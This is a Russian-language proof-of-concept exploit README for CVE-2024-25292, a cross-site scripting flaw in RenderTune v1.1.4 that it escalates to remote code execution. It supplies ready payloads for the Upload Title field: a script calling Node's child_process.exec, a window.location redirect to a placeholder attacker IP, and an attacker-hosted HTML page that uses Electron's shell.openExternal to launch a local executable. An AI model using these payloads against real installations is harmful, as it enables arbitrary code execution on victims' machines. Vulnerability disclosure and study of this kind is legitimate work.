
Эксплойт XSS to RCE в RenderTune v1.1.4
Подтверждение концепции для уязвимости CVE-2024-25292.
Межсайтовый скриптинг (XSS) в RenderTune v1.1.4 позволяет злоумышленникам выполнять произвольные веб-скрипты или HTML-код с помощью специально сформированной полезной нагрузки, внедряемой в параметр Upload Title.
В этом репозитории представлены пример уязвимого приложения и эксплойт подтверждения концепции (POC) для него.
Это уязвимость, которая позволяет выполнить RCE через XSS. В заголовке есть часть, допускающая XSS, поэтому данная уязвимость позволяет выполнить RCE через синтаксис NodeJS посредством синтаксиса XSS.
Шаг 1) Подтвердите, что XSS происходит в части заголовка ※ При этом элемент Upload не будет зарегистрирован, если не прикреплено изображение
<b>jruru</b>

Шаг 2) Поэтому он настроен на использование XSS для выполнения системных команд NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ При попытке атаки с использованием window.location вы автоматически переходите на заданную страницу при каждом запуске приложения.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
Примечание: ※ Если вы хотите быстро проверить это, создайте сервер на ПК злоумышленника с помощью следующего кода.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
